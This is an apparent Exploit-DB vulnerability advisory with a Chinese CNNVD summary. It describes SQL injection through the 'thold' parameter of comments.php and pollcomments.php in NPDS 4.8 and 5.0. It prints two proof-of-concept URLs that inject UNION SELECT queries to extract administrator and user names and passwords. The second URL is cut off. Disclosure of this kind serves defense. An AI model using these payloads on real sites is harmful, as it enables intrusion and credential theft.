https://www.exploit-db.com/exploits/25672
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-1076

NPDS4.8和5.0版本存在多个SQL注入漏洞，远程攻击者可以通过传给(1)comments.php或(2)pollcomments.php的thold参数来执行任意SQL命令。

source: http://www.securityfocus.com/bid/13649/info
 
NPDS is prone to an SQL injection vulnerability.
 
This issue is due to a failure in the application to properly sanitize user-supplied input to the 'thold' parameter.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
All versions are considered to be vulnerable at the moment.

http://www.example.com/npds/pollcomments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM %20authors

http://www.example.com/npds/pollcomments.php?op=results&pollID=2&mode=&order=&thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20u

来源:www.npds.org
链接:http://www.npds.org/article.php?sid=1258
来源:SECTRACK
名称:1013973
链接:http://securitytracker.com/id?1013973